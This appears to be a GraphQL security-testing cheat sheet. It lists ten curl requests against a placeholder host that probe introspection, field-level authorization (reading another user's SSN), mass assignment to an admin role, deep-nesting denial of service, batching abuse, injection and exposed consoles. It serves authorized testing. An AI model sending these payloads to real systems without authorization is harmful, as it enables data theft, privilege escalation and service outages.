TL;DR

  • Focus on introspection, authz gaps, and query limits.
  • Test batching and persisted query policy.
  • Keep payloads small and in scope.

Test Snippets

1) Introspection enabled

curl -X POST https://target.tld/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { queryType { name } } }"}'

2) Missing field or object authorization

curl -X POST https://target.tld/graphql \
  -H 'Authorization: Bearer lowpriv' \
  -H 'Content-Type: application/json' \
  -d '{"query":"{ user(id:1) { email ssn } }"}'

3) Mass assignment in mutations

curl -X POST https://target.tld/graphql \
  -H 'Authorization: Bearer lowpriv' \
  -H 'Content-Type: application/json' \
  -d '{"query":"mutation { updateUser(id:1, role:\"admin\") { id role } }"}'

4) Missing depth/complexity limits

QUERY=$(printf 'friends { %.0s' {1..100})id'$(printf ' }' {1..100})
curl -X POST https://target.tld/graphql \
  -H 'Content-Type: application/json' \
  -d "{\"query\":\"query { user(id:1) { $QUERY } }\"}"

5) Batching abuse

curl -X POST https://target.tld/graphql \
  -H 'Content-Type: application/json' \
  -d '[{"query":"{ me { id } }"},{"query":"{ me { id } }"}]'

6) Weak content-type handling

curl -G 'https://target.tld/graphql' \
  --data-urlencode 'query={__typename}'

curl -X POST https://target.tld/graphql \
  -H 'Content-Type: text/plain' \
  -d '{"query":"{ __typename }"}'

7) GraphQL injection

curl -X POST https://target.tld/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{ search(text:\"something\" OR 1=1#\") { id } }"}'

8) Open GraphiQL / Playground

curl -I https://target.tld/graphiql
curl -I https://target.tld/playground

9) Verbose errors

curl -X POST https://target.tld/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{ nonExistingField }"}'

10) Persisted query policy

curl -X POST https://target.tld/graphql \
  -H 'Content-Type: application/json' \
  -d '{"extensions":{"persistedQuery":{"version":1,"sha256Hash":"deadbeef"}},"query":"{__typename}"}'